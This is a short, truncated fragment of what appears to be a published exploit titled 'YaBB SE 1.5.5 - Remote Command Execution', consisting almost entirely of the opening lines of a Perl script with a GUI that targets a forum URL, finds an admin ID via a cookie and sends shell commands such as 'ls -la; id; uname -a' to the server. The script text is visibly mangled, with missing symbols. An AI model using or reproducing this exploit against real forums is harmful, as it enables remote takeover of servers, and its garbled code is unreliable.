YaBB SE 1.5.5 - Remote Command Execution

!/usr/bin/perl YaBB SE version new; $top-title"r57yabbse155ceGUI"; $top-resizable0,0; $url = 'http://server/forum/index.php'; $id = '1'; $cookiename = 'YaBBSE155'; $cmd = 'ls -la; id; uname -a;'; $button1text = 'Found admin ID'; $foundadminid = \ $stop = 0; $xpl = LWP::UserAgent-new or die;...